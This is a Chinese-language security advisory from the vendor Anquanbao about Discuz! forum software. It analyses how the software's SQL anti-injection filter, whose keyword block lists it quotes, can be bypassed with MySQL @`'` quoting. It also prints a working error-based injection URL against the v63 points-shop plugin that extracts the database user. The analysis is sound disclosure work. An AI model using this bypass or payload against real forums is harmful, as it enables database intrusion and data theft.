近日安全宝安全专家检测到discuzSQL注入0day攻击,即此前被披露的discuzv63积分商城插件注入漏洞,并分析其漏洞,期间发现discuz本身的防注入机制可以被绕过,且无限制。安全宝已经将漏洞已经在第一时间提交discuz,现在补上一份完整的报告。
discuz介绍:
CrossdayDiscuz!Board(以下简称Discuz!,中国国家版权局著作权登记号2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz!的基础架构采用世界上最流行的web编程组合PHP+MySQL实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。
近日DIscuzv63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,链接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事实上文章中说的“/*”会被discuz拦截。并没有绕过,安全宝安全工程师检测到discuzSQL注入0day攻击,即某互联网公司披露的discuzv63积分商城插件注入漏洞,并分析其漏洞,期间发现discuz本身的防注入机制可以被绕过,且无限制。
Discuz防注入分析如下:
先看防注入配置:
$_config['security']['querysafe']['status'] =1; //是否开启SQL安全检测,可自动预防SQL注入攻击
$_config['security']['querysafe']['dfunction'] =array('load_file','hex','substring','if','ord','char');
$_config['security']['querysafe']['daction'] =array('intooutfile','intodumpfile','unionselect','(select','unionall','uniondistinct');
$_config['security']['querysafe']['dnote'] =array('/*','*/','#','--','"');
$_config['security']['querysafe']['dlikehex'] =1;
$_config['security']['querysafe']['afullnote'] =0;
Discuz执行SQL语句之前会调用{sourceclassdiscuzdiscuz_database.php}文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。
上面的if(self::$config['status']){判断有木有开启防注入。最终会self::_do_query_safe($sql);
调用_do_query_safe()函数。跟进该函数,在同文件的363行。
privatestaticfunction_do_query_safe($sql){
$sql=str_replace(array('\\','\'','\"',''''),'',$sql);
$mark=$clean='';
if(strpos($sql,'/')===false&&strpos($sql,'#')===false&&strpos($sql,'--')===false){
$clean=preg_replace("/'(.+?)'/s",'',$sql);
}else{
$len=strlen($sql);
$mark=$clean='';
for($i=0;$i<$len;$i++){
$str=$sql[$i];
switch($str){
case''':
if(!$mark){
$mark=''';
$clean.=$str;
}elseif($mark=='''){
$mark='';
}
break;
case'/':
if(empty($mark)&&$sql[$i+1]=='*'){
$mark='/*';
$clean.=$mark;
$i++;
}elseif($mark=='/*'&&$sql[$i-1]=='*'){
$mark='';
$clean.='*';
}
break;
case'#':
if(empty($mark)){
$mark=$str;
$clean.=$str;
}
break;
case" ":
if($mark=='#'||$mark=='--'){
$mark='';
}
break;
case'-':
if(empty($mark)&&substr($sql,$i,3)=='--'){
$mark='--';
$clean.=$mark;
}
break;
default:
break;
}
$clean.=$mark?'':$str;
}
}
$clean=preg_replace("/[^a-z0-9_-()#*/"]+/is","",strtolower($clean));
if(self::$config['afullnote']){
$clean=str_replace('/**/','',$clean);
}
if(is_array(self::$config['dfunction'])){
foreach(self::$config['dfunction']as$fun){
if(strpos($clean,$fun.'(')!==false)
return'-1';
}
}
if(is_array(self::$config['daction'])){
foreach(self::$config['daction']as$action){
if(strpos($clean,$action)!==false)
return'-3';
}
}
if(self::$config['dlikehex']&&strpos($clean,'like0x')){
return'-2';
}
if(is_array(self::$config['dnote'])){
foreach(self::$config['dnote']as$note){
if(strpos($clean,$note)!==false)
return'-4';
}
}
return1;
}
该防注入函数的关键绕过代码在
if(strpos($sql,'/')===false&&strpos($sql,'#')===false&&strpos($sql,'--')===false){
$clean=preg_replace("/'(.+?)'/s",'',$sql);
}
else
{
在discuzv63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。
所以会执行$clean=preg_replace("/'(.+?)'/s",'',$sql);
原来SQL语句中两个单引号中间的内容就会被替换为空。
并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。
所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性,
@`’`是为空的,所以我们的攻击语句可以放到两个@`’`中间,即使GPC开启,单引号被转义为’,而@`’`变成@`’`对注入也是没有影响的,所以此绕过方法无限制。
即针对该注入漏洞的攻击EXP为:
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110or@`'`and(select*from(selectcount(*),concat(floor(rand(0)*2),(selectuser()))afrominformation_schema.tablesgroupbya)b)or@`'`
调试输出SQL语句
可以看到我们的注入语句被替换掉了,所以后门的检查字符的时候并没有发现注入语句。
最终成功利用: